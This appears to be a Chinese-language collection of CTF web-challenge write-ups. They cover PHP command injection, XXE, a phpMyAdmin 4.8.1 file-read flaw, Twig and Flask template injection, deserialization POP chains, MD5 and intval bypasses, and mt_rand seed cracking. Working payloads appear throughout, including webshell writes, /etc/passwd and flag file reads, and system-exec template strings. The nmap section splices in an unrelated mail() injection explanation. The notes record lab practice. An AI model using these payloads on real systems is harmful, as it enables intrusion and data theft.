1.nmap 考察点:namp -oG可写入文件,代码审计
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
escapeshellarg和escapeshellcmd配合漏洞
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿 的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com',最终的参数就是这样被注入的。
namp的 -oG模式是可以写入文件的 1 ?host=' -oG shell.php -- <php @eval($_POST[1]); ?>
疑问? 明明写入的代码也会被\转义,为什么能被执行呢
1 2 3 1 .在 Linux 中,反斜杠(\)是转义字符,用于改变后面字符的原始意义。它告诉解释器后面的字符应该被特殊对待,而不是按照其原始含义解释。\\ 表示一个反斜杠字符。2 .就目前来看可以看到\都没有了只剩下了<?php echo `cat /flag`;?>
那一切都合理了\在linux中其实相当于无实义连接符
剑蚁链接
[GXYCTF2019]禁止套娃 考察点1.禁止扫描时候怎么扫描? 1 2 我们输入: python3 dirsearch.py -u http:
返回了
1 Skipped the target due to 429 status code
看来我们得放慢扫描速度:
1 [root@localhost dirsearch]
得到:
由于没有下载githack,便去看别人的抓到的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
考察点2.无参数构造 1 ';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
正则表达式解析 正则模式:/[a-z,_]+$(?R)?$/
[a-z,_]+
匹配函数名:允许小写字母、下划线(_)和逗号(,)。
注意 :PHP 函数名中 不允许逗号 ,此处可能是题目设计的陷阱或笔误,实际应为 [a-z_]+。
$ 和 $
(?R)?
(?R) 表示 递归匹配整个正则表达式 ,即允许函数调用的参数部分也是一个无参数的函数调用。
? 表示递归部分是可选的(允许无参数函数)。
合法输入示例
简单函数链
嵌套函数链
替换过程:
匹配最内层 c() → 替换为空 → 剩余 a(b());
匹配 b() → 替换为空 → 剩余 a();
匹配 a() → 替换为空 → 剩余 ;
最终结果:;(符合条件)。
非法输入示例
含参数或字符串
'flag.php' 不符合正则模式 → 替换后残留 'flag.php'; → 结果不是 ;。
所以要进行无参数构造 1 ?exp=print_r (scandir (current (localeconv ())));
返回了:
1 print_r (scandir (dirname (getcwd ())));
是因为na被禁止了
1 highlight_file (next (array_reverse (scandir (current (localeconv ())))));
思考:尝试读取上级目录 1 ?exp=print_r (scandir (next (scandir (current (localeconv ())))));
创造..来读取上级
但是要怎么读取上上级呢? 试过很多,最多只能把一条线的目录返回,无法返回全部的:
1 ?exp=print_r (realpath (next (scandir (current (localeconv ())))));
realpath:显示绝对路径,这里是显示了..的绝对路径
经过测试,无法再读取更上一级的目录了 希望以后能找到突破口 [NCTF2019]Fake XML cookbook考察点:EZXXE 判断: 出现一个登入页面
测试sql
测试sql注入失败
有回显,测试SSTI
不行
抓包 发现是以XML格式传输PASSWD
测试: 1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [<!ENTITY xxe "XXE-TEST" > ]> <user > <username > &xxe; </username > <password > 11</password > </user >
有返回XXE-TEST说明可以解析外部变量
最终exp: 1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag" > ]> <user > <username > &xxe; </username > <password > 11</password > </user >
[GWCTF 2019]我有一个数据库 考察点:信息收集能力
登入页面是个火星文,经过ai翻译看来也没什么用
信息收集一:扫描网址
不让快速扫描?那就放慢速度:
1 2 3 4 5 6 7 8 9 10 11 12 13 [14 :31 :18 ] 200 - 6 KB - /favicon.ico [14 :33 :54 ] 200 - 184 B - /index.html [14 :34 :36 ] 301 - 395 B - /javascript -> http: [14 :40 :03 ] 200 - 86 KB - /phpinfo.php [14 :40 :10 ] 301 - 395 B - /phpmyadmin -> http: [14 :40 :47 ] 200 - 75 KB - /phpmyadmin/ [14 :40 :47 ] 200 - 20 KB - /phpmyadmin/ChangeLog [14 :40 :48 ] 200 - 15 KB - /phpmyadmin/doc/html/index.html [14 :40 :48 ] 200 - 75 KB - /phpmyadmin/index.php [14 :40 :49 ] 200 - 1 KB - /phpmyadmin/README [14 :43 :05 ] 200 - 36 B - /robots.txt [14 :43 :44 ] 403 - 316 B - /server-status [14 :43 :45 ] 403 - 316 B - /server-status/
信息收集二:/phpmyadmin
phpMyAdmin 是一个基于 Web 的免费开源工具,用于通过浏览器 图形化管理 MySQL/MariaDB 数据库 。它允许用户无需命令行即可执行数据库操作(如创建表、导入导出数据、运行 SQL 查询等),是开发者和管理员常用的数据库管理工具。
直接输入/phpmyadmin便可打开便是一个巨大的漏洞: 1. 限制访问来源(推荐) 只允许特定 IP 或本地访问 phpMyAdmin,其他请求直接拒绝。
信息收集三:根据暴露的版本搜索漏洞
发现4.8.1有严重文件读取漏洞 1 /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
利用了截断来进行文件读取(这里的PHP还是7版本的,只有到了8以上才无截断攻击 )
1 /phpmyadmin/index.php?target=db_sql.php%253 f/../../../../../../../../flag
即可得到flag
思考:能不能RCE? 尝试日志注入: 找不到日志在哪。。。。。。。。
[BJDCTF2020]Mark loves cat 鸡毛的,完全不知道考察什么 考察点一:git扫描 githacker安装详细教程,linux添加环境变量详细教程(见标题三)-CSDN博客
1 githacker --url 靶场的URL.git --output-folder 要保存的文件名
1 githacker --url http://a5074c2b-6fde-4c82-ac9d-e31ceacafe32.node5.buuoj.cn:81/.git --output-folder file_try
搞了半天,终于可以下载了
源码在index.php的最下面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
考察点二:php全局变量循环 1 2 3 4 5 6 7 foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; }
意思是,当你输入 ?flag=abc&abc=123 会被解析为:
1 2 3 4 $_GET = [ 'flag' => 'abc' , 'abc' => '123' ];
foreach是应该循环,会给你的输入赋值:
解法一:
1 2 3 foreach ($_GET as $x => $y ){ $$x = $$y ; }
导致:
由于flag未赋值,会触发
1 2 3 if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); }
即可输出flag:
解法二: 1 ?handsome=flag&flag=abc&abc=123
同理,不过是在第三次循环时候 触发:
1 2 3 4 5 foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } }
解法三: 1 ?handsome=flag&flag=handsome
同解法二,不过是第二次循环
[WUSTCTF2020]朴实无华 考察点:代码审计 输入robots.txt发现好东西:
虽然是假的,但是抓包得到有用信息:
访问得到真正的考点页面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>" ; }else { die ("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�" ); } }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>" ; else die ("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�" ); }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>" ; system ($get_flag ); }else { die ("蹇埌闈炴床浜�" ); } }else { die ("鍘婚潪娲插惂" ); } ?>
这是什么火星文?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
level 1: 没见过,只能看wp了
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
常见**intval绕过**
这一题比较特殊,随便一个科学系数 就可以绕过了
intval第一次会读取成 2 ,第二次会读取成 2e11 + 1
level 2:(MD5绕过) 1 2 3 4 5 6 7 8 9 if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }
MD5绕过大全: 1 2 1.a[]=0&b[]=0 2.a=QNKCDZO&b=s878926199a
分享一些加密 为0e开头的字符串 1 2 3 4 5 6 7 8 9 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 240610708 0e462097431906509019562988736854
0x02.一次md5加密(与不加密的比较) 1 2 $a =$_GET ['a' ];$a ==md5 ($a );
1 2 3 payload: a=0e215962017 md5 (‘0e215962017 ’)=0e291242476940776845150308577824
0x03.两次md5加密为0e开头 1 2 3 4 5 6 7 8 9 md5 (CbDLytmyGm2xQyaLNhWn)=0 ec20b7c66cafbcc7d8e8481f0653d18md5 (md5 (CbDLytmyGm2xQyaLNhWn))=0e3 a5f2a80db371d4610b8f940d296 af770 hQgrBOjrcqftrlaZkmd5 (770 hQgrBOjrcqftrlaZk)=0e689 b4f703bdc753be7e27b45cb3625md5 (md5 (770 hQgrBOjrcqftrlaZk))=0e2756 da68ef740fd8f5a5c26cc450647 r4lGXCH2Ksu2JNT3BYMmd5 (7 r4lGXCH2Ksu2JNT3BYM)=0e269 ab12da27d79a6626d91f34ae849md5 (md5 (7 r4lGXCH2Ksu2JNT3BYM))=0e48 d320b2a97ab295f5c4694759889f
payload: 1 /fl4g.php?num=2e11 &md5=0e215962017
只能用md5=0e215962017!!!其他的不可以!!
最终读取: 1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }
不能出现空格
1 str_ireplace ("cat" , "wctf2020" , $get_flag )
不能出现cat
多种构造(记得先ls) 1 2 3 4 5 6 head tail nl sort ca\t more
1.使用${IFS} 1 nl${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
2.使用< 1 nl<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
< 的作用 :将文件内容作为命令的输入(无需空格分隔)。
得到:
[BJDCTF2020]Cookie is so stable 考察点:Cookie中的SSTI + php模板注入
我们测试输入,发现确实有回显:
但是为什么后续无法注入 ?
抓包发现:
左边的输入在右边的cookie出现,那可能是cookie注入
测试成功,存在cookie的SSTI
为什么老是无回显? 这tm是php,不是python!!!
先搞清模板:
1 2 3 python: jinja2 mako tornado django php:smarty twig Blade java:jade velocity jsp
构造:(又是无回显。。。。) twig常用的注入payload:
1 2 3 4 5 6 7 8 9 10 11 12 {{'/etc/passwd' |file_excerpt(1 ,30 )}} {{app.request.files.get(1 ).__construct('/etc/passwd' ,'')}} {{app.request.files.get(1).openFile.fread(99)}} {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("whoami")}} {{_self.env.enableDebug()}}{{_self.env.isDebug()}} {{["id"]|map("system")|join(",") {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} {{["id",0]|sort("system")|join(",")}} {{["id"]|filter("system")|join(",")}} {{[0,0]|reduce("system","id")|join(",")}} {{[' cat /etc/passwd' ]|filter('system' )}}
这一题:
1 {{_self.env.registerUndefinedFilterCallback("exec" )}}{{_self.env.getFilter("cat /flag" )}}
真奇怪,只有这个代码可以,其他的测试都不可以 可能是权限问题。
[MRCTF2020]Ezpop 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
最开始我的EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Modifier { protected $var = "/flag.php" ; } class Show { public $source = "222" ; public $str = "Test" ; } class Test { public $p = "Modifier" ; } $A = new Show ;echo serialize ($A );
正确的EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class Modifier { protected $var = "flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $modifier = new Modifier ();$test = new Test ();$test ->p = $modifier ; $showB = new Show ();$showB ->str = $test ; $showA = new Show ();$showA ->source = $showB ; $ref = new ReflectionClass ($modifier );$prop = $ref ->getProperty ('var' );$prop ->setAccessible (true );$prop ->setValue ($modifier , 'php://filter/read=convert.base64-encode/resource=flag.php' );echo serialize ($showA );?>
得到:
1 O:4 :"Show" :2 :{s:6 :"source" ;O:4 :"Show" :2 :{s:6 :"source" ;s:9 :"index.php" ;s:3 :"str" ;O:4 :"Test" :1 :{s:1 :"p" ;O:8 :"Modifier" :1 :{s:6 :"\00*\00var" ;s:57 :"php://filter/read=convert.base64-encode/resource=flag.php" ;}}}s:3 :"str" ;N;}
不知道为什么没有回显:
只能写python代码了
(在web工具箱里)
[MRCTF2020]PYWebsite 考察点:本地绕过
打开源码页面发现存在一个/flag.php页面
打开发现有提醒:自己可以看见 (我第一次没看见。。。。。。。还是看别人的wp我才知道的 )
抓包修改: 1 X-Forwarded-For: 127.0.0.1
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url (./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
[FBCTF2019]RCEService 考察点:preg_match的绕过(正则匹配)
上传JSON?有点奇怪。
尝试robots.txt 还真有:
访问得到:
目前不知道有什么用
找到源码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
测试代码:
但是:
查WP: 首先我们得了解什么是正则匹配: 1 2 3 4 5 function is_php ($data ) { return preg_match ('/<\?.*[(`;?>].*/is' , $data ); }
正则模式为 /<\?.*[(;?>].*/is`,逐部分分析:
正则片段
含义
<\?
匹配字面量 <?(PHP 代码的短标签开头,如 <?php ... ?> 或 <? ... ?>)。
.*
匹配任意字符(包括换行符,因 s 修饰符)0 次或多次。
[(;?>]`
匹配括号内的任意一个字符:((左括号)、```(反引号)、;(分号)、?(问号)、>(右尖括号)。
.*
再次匹配任意字符(包括换行符)0 次或多次。
修饰符 i
忽略大小写(但此处 <? 无大小写变体,实际影响较小)。
修饰符 s
让点号(.)匹配换行符(\n),允许跨多行匹配。
仔细了解过程: (沙箱保护) 1 putenv ('PATH=/home/rceservice/jail' );
执行命令该变为:
2.为什么是/bin:
正则匹配(规则):
例子: 1 2 3 (preg_match ('/^.*(alias|bg|eval|exec|exit|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json ))
这个 - 就是代表从哪里到那里, \ 代表防止识别为匹配的命令
[] 字符类的特殊规则 :
不需要使用 \ 转化
特殊辅助字符: 开头结尾:
小括号:(视为整体,而不是一个一个字符)
贪婪量词:
+ 和 * 的区别
正则表达式
匹配字符串
匹配结果
a*
""
✅ 匹配 0 个 a
a*
a
✅ 匹配 1 个 a
a*
aaa
✅ 匹配 3 个 a
a+
""
❌ 必须至少有 1 个 a
a+
a
✅ 匹配 1 个 a
a+
aaa
✅ 匹配 3 个 a
什么是回溯:
前面的已经帮你匹配到了,后面需要 再次匹配 ,只能回溯一个上一次匹配结果让你能匹配
正则匹配回溯漏洞:
回溯超过太多次,就会报错。
EXP绕过方法: 法1:换行符绕过(%0A) 1 ?cmd={%0 A"cmd" :"ls /home/rceservice" %0 A}
(记得在url输入)
由于没有 /m
导致可以多行绕过
1 ?cmd={%0 A"cmd" :"/bin/cat /home/rceservice/flag" %0 A}
[CSCCTF 2019 Qual]FlaskLight 第一次使用fenjing
打开页面源码,发现确实提醒:
使用fenjing一把梭:
1 http://28a79331-973c-475d-a36c-f5ee3fca9820.node5.buuoj.cn:81/?search={{(QAQ.__eq__['__g''lobals__'].sys.modules.os.popen("ls")).read()}}"}
根据上面那个一直在飘的那一个推测出是flasklight 1 {{(QAQ.__eq__['__g' 'lobals__' ].sys.modules.os.popen("ls /flasklight" )).read()}}"}
直接读取得到: 1 {{(QAQ.__eq__['__g' 'lobals__' ].sys.modules.os.popen("nl /flasklight/coomme_geeeett_youur_flek" )).read()}}"}
[GWCTF 2019]枯燥的抽奖 考察点:伪随机数种子的寻找 先了解什么是种子和伪随机数: 在 PHP 中,**mt_srand()函数使用这个种子值来设置随机数生成器的初始状态,后续调用mt_rand()生成的随机数序列就 完全由这个种子值决定**。
人话:mt_rand()是由mt_srand()中的种子来生成的
1 所以:#可以通过已经知道的几个字符去反推mt_rand(),在利用php_mt_seed反推种子
[GWCTF 2019]枯燥的抽奖 - L0VEhzzz - 博客园
我们使用php_mt_seed来进行破解 生成工具所需要的数据格式 :
1 2 3 4 5 6 7 8 9 str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='nMkpngQKaH' res='' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res+=str (j)+' ' +str (j)+' ' +'0' +' ' +str (len (str1)-1 )+' ' break print (res)
已经保存在WEB工具箱